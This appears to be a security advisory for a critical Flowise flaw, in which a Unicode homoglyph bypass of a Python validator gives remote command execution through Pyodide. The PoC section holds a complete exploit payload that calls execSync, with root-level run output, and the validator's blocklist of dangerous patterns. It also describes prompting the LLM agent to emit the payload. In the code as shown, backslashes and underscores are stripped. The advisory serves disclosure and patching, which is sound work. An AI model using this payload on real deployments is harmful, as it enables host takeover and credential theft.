PT-2026-67908 · Npm · Flowise+1

Published

2026-08-04

·

Updated

2026-08-04

CVSS v4.0

9.5

Critical

VectorAV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Summary

The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).

Details

packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
ts
{ pattern: /bimportb/g, ... },
{ pattern: /b class b/g, ... },
{ pattern: /b subclasses s*(/g, ... },
{ pattern: /b builtins b/g, ... },
{ pattern: /b mro b/g, ... },
// ... about 30 similar rules
Two design flaws combine into a bypass:
  1. JavaScript regex b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9 ]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so b class b never matches cl𝐚ss.
  2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. cl𝐚ss, subcl𝐚sses, b𝐚se, b𝐮iltins, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj. cl𝐚ss is normalized because attribute names are identifiers. Dict string keys such as bi[' import '] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like bimportb or b import s*(/.
From inside Pyodide, builtins [' import ']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child process').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites:
  • packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209.
  • packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.

PoC

Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
js
// npm install pyodide
const { loadPyodide } = require('pyodide')

const FORBIDDEN PATTERNS = [
 { pattern: /bfroms+S+s+importb/g }, { pattern: /bimportb/g },
 { pattern: /bevals*(/g }, { pattern: /bexecs*(/g },
 { pattern: /bcompiles*(/g }, { pattern: /b import s*(/g },
 { pattern: /bopens*(/g }, { pattern: /bgetattrs*(/g },
 { pattern: /bos./g }, { pattern: /bsubprocess./g },
 { pattern: /bsys./g }, { pattern: /bsocket./g },
 { pattern: /burllib./g }, { pattern: /brequests./g },
 { pattern: /b builtins b/g }, { pattern: /b class b/g },
 { pattern: /b subclasses s*(/g }, { pattern: /b bases b/g },
 { pattern: /b mro b/g }, { pattern: /b globals b/g },
 { pattern: /b code b/g }, { pattern: /b dict b/g },
]
const validate = (code) => FORBIDDEN PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = `
cls = (). clu{1D41A}ss 
base = cls. bu{1D41A}se 
subs = base. subclu{1D41A}sses ()
for c in subs:
  if c. name  == 'catch warnings':
    cw = c()
    bi = cw. module. bu{1D42E}iltins 
    imp name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
    imp = bi[imp name]
    js mod = imp(chr(106)+chr(115))
    cp name = 'child' + chr(95) + 'process'
    cp = js mod.process.mainModule.require(cp name)
    opts = js mod.Object.new(); opts.encoding = 'utf8'
    result = cp.execSync('id && hostname && echo FLOWISE RCE CONFIRMED', opts)
    break
str(result)
`

;(async () => {
 console.log('validator passes:', validate(payload))  // true
 const py = await loadPyodide()
 console.log(await py.runPythonAsync(payload))
})()
Run output on a stock host:
validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE RCE CONFIRMED
Live path against a Flowise deployment:
  1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV Agent or Airtable Agent.
  2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for class, subclasses, base, and builtins, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.
  3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.

Impact

Any user able to reach a chatflow that uses CSV Agent or Airtable Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.

Fix

Incomplete List of Disallowed Inputs

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-52FH-8V99-63C2

Affected Products

Flowise
Flowise-Components